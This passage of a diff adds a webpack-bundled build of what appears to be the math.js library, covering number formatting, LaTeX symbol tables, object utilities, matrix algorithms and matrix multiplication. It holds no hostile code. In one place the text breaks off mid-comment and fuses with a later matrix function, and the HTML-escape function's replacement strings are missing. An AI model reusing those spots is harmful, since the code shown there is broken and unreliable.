(typeof options === 'function') { + // handle format(value, fn) + return options(value); + } // handle special cases + + + if (value === Infinity) { + return 'Infinity'; + } else if (value === -Infinity) { + return '-Infinity'; + } else if (isNaN(value)) { + return 'NaN'; + } // default values for options + + + var notation = 'auto'; + var precision; + + if (options) { + // determine notation from options + if (options.notation) { + notation = options.notation; + } // determine precision from options + + + if (exports.isNumber(options)) { + precision = options; + } else if (exports.isNumber(options.precision)) { + precision = options.precision; + } + } // handle the various notations + + + switch (notation) { + case 'fixed': + return exports.toFixed(value, precision); + + case 'exponential': + return exports.toExponential(value, precision); + + case 'engineering': + return exports.toEngineering(value, precision); + + case 'auto': + // TODO: clean up some day. Deprecated since: 2018-01-24 + // @deprecated upper and lower are replaced with upperExp and lowerExp since v4.0.0 + if (options && options.exponential && (options.exponential.lower !== undefined || options.exponential.upper !== undefined)) { + var fixedOptions = objectUtils.map(options, function (x) { + return x; + }); + fixedOptions.exponential = undefined; + + if (options.exponential.lower !== undefined) { + fixedOptions.lowerExp = Math.round(Math.log(options.exponential.lower) / Math.LN10); + } + + if (options.exponential.upper !== undefined) { + fixedOptions.upperExp = Math.round(Math.log(options.exponential.upper) / Math.LN10); + } + + console.warn('Deprecation warning: Formatting options exponential.lower and exponential.upper ' + '(minimum and maximum value) ' + 'are replaced with exponential.lowerExp and exponential.upperExp ' + '(minimum and maximum exponent) since version 4.0.0. ' + 'Replace ' + JSON.stringify(options) + ' with ' + JSON.stringify(fixedOptions)); + return exports.toPrecision(value, precision, fixedOptions); + } + + return exports.toPrecision(value, precision, options && options) // remove trailing zeros after the decimal point + .replace(/((\.\d*?)(0+))($|e)/, function () { + var digits = arguments[2]; + var e = arguments[4]; + return digits !== '.' ? digits + e : e; + }); + + default: + throw new Error('Unknown notation "' + notation + '". ' + 'Choose "auto", "exponential", or "fixed".'); + } +}; +/** + * Split a number into sign, coefficients, and exponent + * @param {number | string} value + * @return {SplitValue} + * Returns an object containing sign, coefficients, and exponent + */ + + +exports.splitNumber = function (value) { + // parse the input value + var match = String(value).toLowerCase().match(/^0*?(-?)(\d+\.?\d*)(e([+-]?\d+))?$/); + + if (!match) { + throw new SyntaxError('Invalid number ' + value); + } + + var sign = match[1]; + var digits = match[2]; + var exponent = parseFloat(match[4] || '0'); + var dot = digits.indexOf('.'); + exponent += dot !== -1 ? dot - 1 : digits.length - 1; + var coefficients = digits.replace('.', '') // remove the dot (must be removed before removing leading zeros) + .replace(/^0*/, function (zeros) { + // remove leading zeros, add their count to the exponent + exponent -= zeros.length; + return ''; + }).replace(/0*$/, '') // remove trailing zeros + .split('').map(function (d) { + return parseInt(d); + }); + + if (coefficients.length === 0) { + coefficients.push(0); + exponent++; + } + + return { + sign: sign, + coefficients: coefficients, + exponent: exponent + }; +}; +/** + * Format a number in engineering notation. Like '1.23e+6', '2.3e+0', '3.500e-3' + * @param {number | string} value + * @param {number} [precision] Optional number of significant figures to return. + */ + + +exports.toEngineering = function (value, precision) { + if (isNaN(value) || !isFinite(value)) { + return String(value); + } + + var rounded = exports.roundDigits(exports.splitNumber(value), precision); + var e = rounded.exponent; + var c = rounded.coefficients; // find nearest lower multiple of 3 for exponent + + var newExp = e % 3 === 0 ? e : e < 0 ? e - 3 - e % 3 : e - e % 3; + + if (exports.isNumber(precision)) { + // add zeroes to give correct sig figs + while (precision > c.length || e - newExp + 1 > c.length) { + c.push(0); + } + } else { + // concatenate coefficients with necessary zeros + var significandsDiff = e >= 0 ? e : Math.abs(newExp); // add zeros if necessary (for ex: 1e+8) + + while (c.length - 1 < significandsDiff) { + c.push(0); + } + } // find difference in exponents + + + var expDiff = Math.abs(e - newExp); + var decimalIdx = 1; // push decimal index over by expDiff times + + while (expDiff > 0) { + decimalIdx++; + expDiff--; + } // if all coefficient values are zero after the decimal point and precision is unset, don't add a decimal value. + // otherwise concat with the rest of the coefficients + + + var decimals = c.slice(decimalIdx).join(''); + var decimalVal = exports.isNumber(precision) && decimals.length || decimals.match(/[1-9]/) ? '.' + decimals : ''; + var str = c.slice(0, decimalIdx).join('') + decimalVal + 'e' + (e >= 0 ? '+' : '') + newExp.toString(); + return rounded.sign + str; +}; +/** + * Format a number with fixed notation. + * @param {number | string} value + * @param {number} [precision=undefined] Optional number of decimals after the + * decimal point. null by default. + */ + + +exports.toFixed = function (value, precision) { + if (isNaN(value) || !isFinite(value)) { + return String(value); + } + + var splitValue = exports.splitNumber(value); + var rounded = typeof precision === 'number' ? exports.roundDigits(splitValue, splitValue.exponent + 1 + precision) : splitValue; + var c = rounded.coefficients; + var p = rounded.exponent + 1; // exponent may have changed + // append zeros if needed + + var pp = p + (precision || 0); + + if (c.length < pp) { + c = c.concat(zeros(pp - c.length)); + } // prepend zeros if needed + + + if (p < 0) { + c = zeros(-p + 1).concat(c); + p = 1; + } // insert a dot if needed + + + if (p < c.length) { + c.splice(p, 0, p === 0 ? '0.' : '.'); + } + + return rounded.sign + c.join(''); +}; +/** + * Format a number in exponential notation. Like '1.23e+5', '2.3e+0', '3.500e-3' + * @param {number | string} value + * @param {number} [precision] Number of digits in formatted output. + * If not provided, the maximum available digits + * is used. + */ + + +exports.toExponential = function (value, precision) { + if (isNaN(value) || !isFinite(value)) { + return String(value); + } // round if needed, else create a clone + + + var split = exports.splitNumber(value); + var rounded = precision ? exports.roundDigits(split, precision) : split; + var c = rounded.coefficients; + var e = rounded.exponent; // append zeros if needed + + if (c.length < precision) { + c = c.concat(zeros(precision - c.length)); + } // format as `C.CCCe+EEE` or `C.CCCe-EEE` + + + var first = c.shift(); + return rounded.sign + first + (c.length > 0 ? '.' + c.join('') : '') + 'e' + (e >= 0 ? '+' : '') + e; +}; +/** + * Format a number with a certain precision + * @param {number | string} value + * @param {number} [precision=undefined] Optional number of digits. + * @param {{lowerExp: number | undefined, upperExp: number | undefined}} [options] + * By default: + * lowerExp = -3 (incl) + * upper = +5 (excl) + * @return {string} + */ + + +exports.toPrecision = function (value, precision, options) { + if (isNaN(value) || !isFinite(value)) { + return String(value); + } // determine lower and upper bound for exponential notation. + + + var lowerExp = options && options.lowerExp !== undefined ? options.lowerExp : -3; + var upperExp = options && options.upperExp !== undefined ? options.upperExp : 5; + var split = exports.splitNumber(value); + + if (split.exponent < lowerExp || split.exponent >= upperExp) { + // exponential notation + return exports.toExponential(value, precision); + } else { + var rounded = precision ? exports.roundDigits(split, precision) : split; + var c = rounded.coefficients; + var e = rounded.exponent; // append trailing zeros + + if (c.length < precision) { + c = c.concat(zeros(precision - c.length)); + } // append trailing zeros + // TODO: simplify the next statement + + + c = c.concat(zeros(e - c.length + 1 + (c.length < precision ? precision - c.length : 0))); // prepend zeros + + c = zeros(-e).concat(c); + var dot = e > 0 ? e : 0; + + if (dot < c.length - 1) { + c.splice(dot + 1, 0, '.'); + } + + return rounded.sign + c.join(''); + } +}; +/** + * Round the number of digits of a number * + * @param {SplitValue} split A value split with .splitNumber(value) + * @param {number} precision A positive integer + * @return {SplitValue} + * Returns an object containing sign, coefficients, and exponent + * with rounded digits + */ + + +exports.roundDigits = function (split, precision) { + // create a clone + var rounded = { + sign: split.sign, + coefficients: split.coefficients, + exponent: split.exponent + }; + var c = rounded.coefficients; // prepend zeros if needed + + while (precision <= 0) { + c.unshift(0); + rounded.exponent++; + precision++; + } + + if (c.length > precision) { + var removed = c.splice(precision, c.length - precision); + + if (removed[0] >= 5) { + var i = precision - 1; + c[i]++; + + while (c[i] === 10) { + c.pop(); + + if (i === 0) { + c.unshift(0); + rounded.exponent++; + i++; + } + + i--; + c[i]++; + } + } + } + + return rounded; +}; +/** + * Create an array filled with zeros. + * @param {number} length + * @return {Array} + */ + + +function zeros(length) { + var arr = []; + + for (var i = 0; i < length; i++) { + arr.push(0); + } + + return arr; +} +/** + * Count the number of significant digits of a number. + * + * For example: + * 2.34 returns 3 + * 0.0034 returns 2 + * 120.5e+30 returns 4 + * + * @param {number} value + * @return {number} digits Number of significant digits + */ + + +exports.digits = function (value) { + return value.toExponential().replace(/e.*$/, '') // remove exponential notation + .replace(/^0\.?0*|\./, '') // remove decimal point and leading zeros + .length; +}; +/** + * Minimum number added to one that makes the result different than one + */ + + +exports.DBL_EPSILON = Number.EPSILON || 2.2204460492503130808472633361816E-16; +/** + * Compares two floating point numbers. + * @param {number} x First value to compare + * @param {number} y Second value to compare + * @param {number} [epsilon] The maximum relative difference between x and y + * If epsilon is undefined or null, the function will + * test whether x and y are exactly equal. + * @return {boolean} whether the two numbers are nearly equal +*/ + +exports.nearlyEqual = function (x, y, epsilon) { + // if epsilon is null or undefined, test whether x and y are exactly equal + if (epsilon === null || epsilon === undefined) { + return x === y; + } + + if (x === y) { + return true; + } // NaN + + + if (isNaN(x) || isNaN(y)) { + return false; + } // at this point x and y should be finite + + + if (isFinite(x) && isFinite(y)) { + // check numbers are very close, needed when comparing numbers near zero + var diff = Math.abs(x - y); + + if (diff < exports.DBL_EPSILON) { + return true; + } else { + // use relative error + return diff <= Math.max(Math.abs(x), Math.abs(y)) * epsilon; + } + } // Infinite and Number or negative Infinite and positive Infinite cases + + + return false; +}; + +/***/ }), +/* 4 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var escapeLatex = __webpack_require__(180); + +exports.symbols = { + // GREEK LETTERS + Alpha: 'A', + alpha: '\\alpha', + Beta: 'B', + beta: '\\beta', + Gamma: '\\Gamma', + gamma: '\\gamma', + Delta: '\\Delta', + delta: '\\delta', + Epsilon: 'E', + epsilon: '\\epsilon', + varepsilon: '\\varepsilon', + Zeta: 'Z', + zeta: '\\zeta', + Eta: 'H', + eta: '\\eta', + Theta: '\\Theta', + theta: '\\theta', + vartheta: '\\vartheta', + Iota: 'I', + iota: '\\iota', + Kappa: 'K', + kappa: '\\kappa', + varkappa: '\\varkappa', + Lambda: '\\Lambda', + lambda: '\\lambda', + Mu: 'M', + mu: '\\mu', + Nu: 'N', + nu: '\\nu', + Xi: '\\Xi', + xi: '\\xi', + Omicron: 'O', + omicron: 'o', + Pi: '\\Pi', + pi: '\\pi', + varpi: '\\varpi', + Rho: 'P', + rho: '\\rho', + varrho: '\\varrho', + Sigma: '\\Sigma', + sigma: '\\sigma', + varsigma: '\\varsigma', + Tau: 'T', + tau: '\\tau', + Upsilon: "\\Upsilon", + upsilon: "\\upsilon", + Phi: '\\Phi', + phi: '\\phi', + varphi: '\\varphi', + Chi: 'X', + chi: '\\chi', + Psi: '\\Psi', + psi: '\\psi', + Omega: '\\Omega', + omega: '\\omega', + // logic + 'true': '\\mathrm{True}', + 'false': '\\mathrm{False}', + // other + i: 'i', + // TODO use \i ?? + inf: '\\infty', + Inf: '\\infty', + infinity: '\\infty', + Infinity: '\\infty', + oo: '\\infty', + lim: '\\lim', + 'undefined': '\\mathbf{?}' +}; +exports.operators = { + 'transpose': '^\\top', + 'ctranspose': '^H', + 'factorial': '!', + 'pow': '^', + 'dotPow': '.^\\wedge', + // TODO find ideal solution + 'unaryPlus': '+', + 'unaryMinus': '-', + 'bitNot': '\\~', + // TODO find ideal solution + 'not': '\\neg', + 'multiply': '\\cdot', + 'divide': '\\frac', + // TODO how to handle that properly? + 'dotMultiply': '.\\cdot', + // TODO find ideal solution + 'dotDivide': '.:', + // TODO find ideal solution + 'mod': '\\mod', + 'add': '+', + 'subtract': '-', + 'to': '\\rightarrow', + 'leftShift': '<<', + 'rightArithShift': '>>', + 'rightLogShift': '>>>', + 'equal': '=', + 'unequal': '\\neq', + 'smaller': '<', + 'larger': '>', + 'smallerEq': '\\leq', + 'largerEq': '\\geq', + 'bitAnd': '\\&', + 'bitXor': "\\underline{|}", + 'bitOr': '|', + 'and': '\\wedge', + 'xor': '\\veebar', + 'or': '\\vee' +}; +exports.defaultTemplate = "\\mathrm{${name}}\\left(${args}\\right)"; +var units = { + deg: '^\\circ' +}; + +exports.escape = function (string) { + return escapeLatex(string, { + 'preserveFormatting': true + }); +}; // @param {string} name +// @param {boolean} isUnit + + +exports.toSymbol = function (name, isUnit) { + isUnit = typeof isUnit === 'undefined' ? false : isUnit; + + if (isUnit) { + if (units.hasOwnProperty(name)) { + return units[name]; + } + + return '\\mathrm{' + exports.escape(name) + '}'; + } + + if (exports.symbols.hasOwnProperty(name)) { + return exports.symbols[name]; + } + + return exports.escape(name); +}; + +/***/ }), +/* 5 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + +var isBigNumber = __webpack_require__(81); +/** + * Clone an object + * + * clone(x) + * + * Can clone any primitive type, array, and object. + * If x has a function clone, this function will be invoked to clone the object. + * + * @param {*} x + * @return {*} clone + */ + + +exports.clone = function clone(x) { + var type = _typeof(x); // immutable primitive types + + + if (type === 'number' || type === 'string' || type === 'boolean' || x === null || x === undefined) { + return x; + } // use clone function of the object when available + + + if (typeof x.clone === 'function') { + return x.clone(); + } // array + + + if (Array.isArray(x)) { + return x.map(function (value) { + return clone(value); + }); + } + + if (x instanceof Date) return new Date(x.valueOf()); + if (isBigNumber(x)) return x; // bignumbers are immutable + + if (x instanceof RegExp) throw new TypeError('Cannot clone ' + x); // TODO: clone a RegExp + // object + + return exports.map(x, clone); +}; +/** + * Apply map to all properties of an object + * @param {Object} object + * @param {function} callback + * @return {Object} Returns a copy of the object with mapped properties + */ + + +exports.map = function (object, callback) { + var clone = {}; + + for (var key in object) { + if (exports.hasOwnProperty(object, key)) { + clone[key] = callback(object[key]); + } + } + + return clone; +}; +/** + * Extend object a with the properties of object b + * @param {Object} a + * @param {Object} b + * @return {Object} a + */ + + +exports.extend = function (a, b) { + for (var prop in b) { + if (exports.hasOwnProperty(b, prop)) { + a[prop] = b[prop]; + } + } + + return a; +}; +/** + * Deep extend an object a with the properties of object b + * @param {Object} a + * @param {Object} b + * @returns {Object} + */ + + +exports.deepExtend = function deepExtend(a, b) { + // TODO: add support for Arrays to deepExtend + if (Array.isArray(b)) { + throw new TypeError('Arrays are not supported by deepExtend'); + } + + for (var prop in b) { + if (exports.hasOwnProperty(b, prop)) { + if (b[prop] && b[prop].constructor === Object) { + if (a[prop] === undefined) { + a[prop] = {}; + } + + if (a[prop].constructor === Object) { + deepExtend(a[prop], b[prop]); + } else { + a[prop] = b[prop]; + } + } else if (Array.isArray(b[prop])) { + throw new TypeError('Arrays are not supported by deepExtend'); + } else { + a[prop] = b[prop]; + } + } + } + + return a; +}; +/** + * Deep test equality of all fields in two pairs of arrays or objects. + * @param {Array | Object} a + * @param {Array | Object} b + * @returns {boolean} + */ + + +exports.deepEqual = function deepEqual(a, b) { + var prop, i, len; + + if (Array.isArray(a)) { + if (!Array.isArray(b)) { + return false; + } + + if (a.length !== b.length) { + return false; + } + + for (i = 0, len = a.length; i < len; i++) { + if (!exports.deepEqual(a[i], b[i])) { + return false; + } + } + + return true; + } else if (a instanceof Object) { + if (Array.isArray(b) || !(b instanceof Object)) { + return false; + } + + for (prop in a) { + // noinspection JSUnfilteredForInLoop + if (!exports.deepEqual(a[prop], b[prop])) { + return false; + } + } + + for (prop in b) { + // noinspection JSUnfilteredForInLoop + if (!exports.deepEqual(a[prop], b[prop])) { + return false; + } + } + + return true; + } else { + return a === b; + } +}; +/** + * Test whether the current JavaScript engine supports Object.defineProperty + * @returns {boolean} returns true if supported + */ + + +exports.canDefineProperty = function () { + // test needed for broken IE8 implementation + try { + if (Object.defineProperty) { + Object.defineProperty({}, 'x', { + get: function get() {} + }); + return true; + } + } catch (e) {} + + return false; +}; +/** + * Attach a lazy loading property to a constant. + * The given function `fn` is called once when the property is first requested. + * On older browsers ( 0 ? _iterate(cf, 0, asize, asize[0], adata, b, inverse) : []; // c matrix + + return new DenseMatrix({ + data: cdata, + size: clone(asize), + datatype: dt + }); + }; // recursive function + + + function _iterate(f, level, s, n, av, bv, inverse) { + // initialize array for this level + var cv = []; // check we reach the last level + + if (level === s.length - 1) { + // loop arrays in last level + for (var i = 0; i < n; i++) { + // invoke callback and store value + cv[i] = inverse ? f(bv, av[i]) : f(av[i], bv); + } + } else { + // iterate current level + for (var j = 0; j < n; j++) { + // iterate next level + cv[j] = _iterate(f, level + 1, s, s[level + 1], av[j], bv, inverse); + } + } + + return cv; + } + + return algorithm14; +} + +exports.name = 'algorithm14'; +exports.factory = factory; + +/***/ }), +/* 7 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var DimensionError = __webpack_require__(8); + +function factory(type, config, load, typed) { + var DenseMatrix = type.DenseMatrix; + /** + * Iterates over DenseMatrix items and invokes the callback function f(Aij..z, Bij..z). + * Callback function invoked MxN times. + * + * C(i,j,...z) = f(Aij..z, Bij..z) + * + * @param {Matrix} a The DenseMatrix instance (A) + * @param {Matrix} b The DenseMatrix instance (B) + * @param {Function} callback The f(Aij..z,Bij..z) operation to invoke + * + * @return {Matrix} DenseMatrix (C) + * + * https://github.com/josdejong/mathjs/pull/346#issuecomment-97658658 + */ + + var algorithm13 = function algorithm13(a, b, callback) { + // a arrays + var adata = a._data; + var asize = a._size; + var adt = a._datatype; // b arrays + + var bdata = b._data; + var bsize = b._size; + var bdt = b._datatype; // c arrays + + var csize = []; // validate dimensions + + if (asize.length !== bsize.length) { + throw new DimensionError(asize.length, bsize.length); + } // validate each one of the dimension sizes + + + for (var s = 0; s < asize.length; s++) { + // must match + if (asize[s] !== bsize[s]) { + throw new RangeError('Dimension mismatch. Matrix A (' + asize + ') must match Matrix B (' + bsize + ')'); + } // update dimension in c + + + csize[s] = asize[s]; + } // datatype + + + var dt; // callback signature to use + + var cf = callback; // process data types + + if (typeof adt === 'string' && adt === bdt) { + // datatype + dt = adt; // callback + + cf = typed.find(callback, [dt, dt]); + } // populate cdata, iterate through dimensions + + + var cdata = csize.length > 0 ? _iterate(cf, 0, csize, csize[0], adata, bdata) : []; // c matrix + + return new DenseMatrix({ + data: cdata, + size: csize, + datatype: dt + }); + }; // recursive function + + + function _iterate(f, level, s, n, av, bv) { + // initialize array for this level + var cv = []; // check we reach the last level + + if (level === s.length - 1) { + // loop arrays in last level + for (var i = 0; i < n; i++) { + // invoke callback and store value + cv[i] = f(av[i], bv[i]); + } + } else { + // iterate current level + for (var j = 0; j < n; j++) { + // iterate next level + cv[j] = _iterate(f, level + 1, s, s[level + 1], av[j], bv[j]); + } + } + + return cv; + } + + return algorithm13; +} + +exports.name = 'algorithm13'; +exports.factory = factory; + +/***/ }), +/* 8 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +/** + * Create a range error with the message: + * 'Dimension mismatch ( != )' + * @param {number | number[]} actual The actual size + * @param {number | number[]} expected The expected size + * @param {string} [relation='!='] Optional relation between actual + * and expected size: '!=', '<', etc. + * @extends RangeError + */ + +function DimensionError(actual, expected, relation) { + if (!(this instanceof DimensionError)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + this.actual = actual; + this.expected = expected; + this.relation = relation; + this.message = 'Dimension mismatch (' + (Array.isArray(actual) ? '[' + actual.join(', ') + ']' : actual) + ' ' + (this.relation || '!=') + ' ' + (Array.isArray(expected) ? '[' + expected.join(', ') + ']' : expected) + ')'; + this.stack = new Error().stack; +} + +DimensionError.prototype = new RangeError(); +DimensionError.prototype.constructor = RangeError; +DimensionError.prototype.name = 'DimensionError'; +DimensionError.prototype.isDimensionError = true; +module.exports = DimensionError; + +/***/ }), +/* 9 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + +var formatNumber = __webpack_require__(3).format; + +var formatBigNumber = __webpack_require__(175).format; + +var isBigNumber = __webpack_require__(81); +/** + * Test whether value is a string + * @param {*} value + * @return {boolean} isString + */ + + +exports.isString = function (value) { + return typeof value === 'string'; +}; +/** + * Check if a text ends with a certain string. + * @param {string} text + * @param {string} search + */ + + +exports.endsWith = function (text, search) { + var start = text.length - search.length; + var end = text.length; + return text.substring(start, end) === search; +}; +/** + * Format a value of any type into a string. + * + * Usage: + * math.format(value) + * math.format(value, precision) + * + * When value is a function: + * + * - When the function has a property `syntax`, it returns this + * syntax description. + * - In other cases, a string `'function'` is returned. + * + * When `value` is an Object: + * + * - When the object contains a property `format` being a function, this + * function is invoked as `value.format(options)` and the result is returned. + * - When the object has its own `toString` method, this method is invoked + * and the result is returned. + * - In other cases the function will loop over all object properties and + * return JSON object notation like '{"a": 2, "b": 3}'. + * + * Example usage: + * math.format(2/7) // '0.2857142857142857' + * math.format(math.pi, 3) // '3.14' + * math.format(new Complex(2, 3)) // '2 + 3i' + * math.format('hello') // '"hello"' + * + * @param {*} value Value to be stringified + * @param {Object | number | Function} [options] Formatting options. See + * lib/utils/number:format for a + * description of the available + * options. + * @return {string} str + */ + + +exports.format = function (value, options) { + if (typeof value === 'number') { + return formatNumber(value, options); + } + + if (isBigNumber(value)) { + return formatBigNumber(value, options); + } // note: we use unsafe duck-typing here to check for Fractions, this is + // ok here since we're only invoking toString or concatenating its values + + + if (looksLikeFraction(value)) { + if (!options || options.fraction !== 'decimal') { + // output as ratio, like '1/3' + return value.s * value.n + '/' + value.d; + } else { + // output as decimal, like '0.(3)' + return value.toString(); + } + } + + if (Array.isArray(value)) { + return formatArray(value, options); + } + + if (exports.isString(value)) { + return '"' + value + '"'; + } + + if (typeof value === 'function') { + return value.syntax ? String(value.syntax) : 'function'; + } + + if (value && _typeof(value) === 'object') { + if (typeof value.format === 'function') { + return value.format(options); + } else if (value && value.toString() !== {}.toString()) { + // this object has a non-native toString method, use that one + return value.toString(); + } else { + var entries = []; + + for (var key in value) { + if (value.hasOwnProperty(key)) { + entries.push('"' + key + '": ' + exports.format(value[key], options)); + } + } + + return '{' + entries.join(', ') + '}'; + } + } + + return String(value); +}; +/** + * Stringify a value into a string enclosed in double quotes. + * Unescaped double quotes and backslashes inside the value are escaped. + * @param {*} value + * @return {string} + */ + + +exports.stringify = function (value) { + var text = String(value); + var escaped = ''; + var i = 0; + + while (i < text.length) { + var c = text.charAt(i); + + if (c === '\\') { + escaped += c; + i++; + c = text.charAt(i); + + if (c === '' || '"\\/bfnrtu'.indexOf(c) === -1) { + escaped += '\\'; // no valid escape character -> escape it + } + + escaped += c; + } else if (c === '"') { + escaped += '\\"'; + } else { + escaped += c; + } + + i++; + } + + return '"' + escaped + '"'; +}; +/** + * Escape special HTML characters + * @param {*} value + * @return {string} + */ + + +exports.escape = function (value) { + var text = String(value); + text = text.replace(/&/g, '&').replace(/"/g, '"').replace(/'/g, ''').replace(//g, '>'); + return text; +}; +/** + * Recursively format an n-dimensional matrix + * Example output: "[[1, 2], [3, 4]]" + * @param {Array} array + * @param {Object | number | Function} [options] Formatting options. See + * lib/utils/number:format for a + * description of the available + * options. + * @returns {string} str + */ + + +function formatArray(array, options) { + if (Array.isArray(array)) { + var str = '['; + var len = array.length; + + for (var i = 0; i < len; i++) { + if (i !== 0) { + str += ', '; + } + + str += formatArray(array[i], options); + } + + str += ']'; + return str; + } else { + return exports.format(array, options); + } +} +/** + * Check whether a value looks like a Fraction (unsafe duck-type check) + * @param {*} value + * @return {boolean} + */ + + +function looksLikeFraction(value) { + return value && _typeof(value) === 'object' && typeof value.s === 'number' && typeof value.n === 'number' && typeof value.d === 'number' || false; +} + +/***/ }), +/* 10 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var extend = __webpack_require__(5).extend; + +var array = __webpack_require__(2); + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + + var matrix = load(__webpack_require__(0)); + var addScalar = load(__webpack_require__(17)); + var multiplyScalar = load(__webpack_require__(21)); + var equalScalar = load(__webpack_require__(11)); + var algorithm11 = load(__webpack_require__(20)); + var algorithm14 = load(__webpack_require__(6)); + var DenseMatrix = type.DenseMatrix; + var SparseMatrix = type.SparseMatrix; + /** + * Multiply two or more values, `x * y`. + * For matrices, the matrix product is calculated. + * + * Syntax: + * + * math.multiply(x, y) + * math.multiply(x, y, z, ...) + * + * Examples: + * + * math.multiply(4, 5.2) // returns number 20.8 + * math.multiply(2, 3, 4) // returns number 24 + * + * const a = math.complex(2, 3) + * const b = math.complex(4, 1) + * math.multiply(a, b) // returns Complex 5 + 14i + * + * const c = [[1, 2], [4, 3]] + * const d = [[1, 2, 3], [3, -4, 7]] + * math.multiply(c, d) // returns Array [[7, -6, 17], [13, -4, 33]] + * + * const e = math.unit('2.1 km') + * math.multiply(3, e) // returns Unit 6.3 km + * + * See also: + * + * divide, prod, cross, dot + * + * @param {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} x First value to multiply + * @param {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} y Second value to multiply + * @return {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} Multiplication of `x` and `y` + */ + + var multiply = typed('multiply', extend({ + // we extend the signatures of multiplyScalar with signatures dealing with matrices + 'Array, Array': function ArrayArray(x, y) { + // check dimensions + _validateMatrixDimensions(array.size(x), array.size(y)); // use dense matrix implementation + + + var m = multiply(matrix(x), matrix(y)); // return array or scalar + + return type.isMatrix(m) ? m.valueOf() : m; + }, + 'Matrix, Matrix': function MatrixMatrix(x, y) { + // dimensions + var xsize = x.size(); + var ysize = y.size(); // check dimensions + + _validateMatrixDimensions(xsize, ysize); // process dimensions + + + if (xsize.length === 1) { + // process y dimensions + if (ysize.length === 1) { + // Vector * Vector + return _multiplyVectorVector(x, y, xsize[0]); + } // Vector * Matrix + + + return _multiplyVectorMatrix(x, y); + } // process y dimensions + + + if (ysize.length === 1) { + // Matrix * Vector + return _multiplyMatrixVector(x, y); + } // Matrix * Matrix + + + return _multiplyMatrixMatrix(x, y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use Matrix * Matrix implementation + return multiply(x, matrix(y)); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use Matrix * Matrix implementation + return multiply(matrix(x, y.storage()), y); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm11(x, y, multiplyScalar, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, multiplyScalar, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm11(y, x, multiplyScalar, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, multiplyScalar, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, multiplyScalar, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, multiplyScalar, true).valueOf(); + }, + 'any, any': multiplyScalar, + 'any, any, ...any': function anyAnyAny(x, y, rest) { + var result = multiply(x, y); + + for (var i = 0; i < rest.length; i++) { + result = multiply(result, rest[i]); + } + + return result; + } + }, multiplyScalar.signatures)); + + function _validateMatrixDimensions(size1, size2) { + // check left operand dimensions + switch (size1.length) { + case 1: + // check size2 + switch (size2.length) { + case 1: + // Vector x Vector + if (size1[0] !== size2[0]) { + // throw error + throw new RangeError('Dimension mismatch in multiplication. Vectors must have the same length'); + } + + break; + + case 2: + // Vector x Matrix + if (size1[0] !== size2[0]) { + // throw error + throw new RangeError('Dimension mismatch in multiplication. Vector length (' + size1[0] + ') must match Matrix rows (' + size2[0] + ')'); + } + + break; + + default: + throw new Error('Can only multiply a 1 or 2 dimensional matrix (Matrix B has ' + size2.length + ' dimensions)'); + } + + break; + + case 2: + // check size2 + switch (size2.length) { + case 1: + // Matrix x Vector + if (size1[1] !== size2[0]) { + // throw error + throw new RangeError('Dimension mismatch in multiplication. Matrix columns (' + size1[1] + ') must match Vector length (' + size2[0] + ')'); + } + + break; + + case 2: + // Matrix x Matrix + if (size1[1] !== size2[0]) { + // throw error + throw new RangeError('Dimension mismatch in multiplication. Matrix A columns (' + size1[1] + ') must match Matrix B rows (' + size2[0] + ')'); + } + + break; + + default: + throw new Error('Can only multiply a 1 or 2 dimensional matrix (Matrix B has ' + size2.length + ' dimensions)'); + } + + break; + + default: + throw new Error('Can only multiply a 1 or 2 dimensional matrix (Matrix A has ' + size1.length + ' dimensions)'); + } + } + /** + * C = A * B + * + * @param {Matrix} a Dense Vector (N) + * @param {Matrix} b Dense Vector (N) + * + * @return {number} Scalar value + */ + + + function _multiplyVectorVector(a, b, n) { + // check empty vector + if (n === 0) { + throw new Error('Cannot multiply two empty vectors'); + } // a dense + + + var adata = a._data; + var adt = a._datatype; // b dense + + var bdata = b._data; + var bdt = b._datatype; // datatype + + var dt; // addScalar signature to use + + var af = addScalar; // multiplyScalar signature to use + + var mf = multiplyScalar; // process data types + + if (adt && bdt && adt === bdt && typeof adt === 'string') { + // datatype + dt = adt; // find signatures that matches (dt, dt) + + af = typed.find(addScalar, [dt, dt]); + mf = typed.find(multiplyScalar, [dt, dt]); + } // result (do not initialize it with zero) + + + var c = mf(adata[0], bdata[0]); // loop data + + for (var i = 1; i < n; i++) { + // multiply and accumulate + c = af(c, mf(adata[i], bdata[i])); + } + + return c; + } + /** + * C = A * B + * + * @param {Matrix} a Dense Vector (M) + * @param {Matrix} b Matrix (MxN) + * + * @return {Matrix} Dense Vector (N) + */ + + + function _multiplyVectorMatrix(a, b) { + // process storage + if (b.storage() !== 'dense') { + throw new Error('Support for SparseMatrix not implemented'); + } + + return _multiplyVectorDenseMatrix(a, b); + } + /** + * C = A * B + 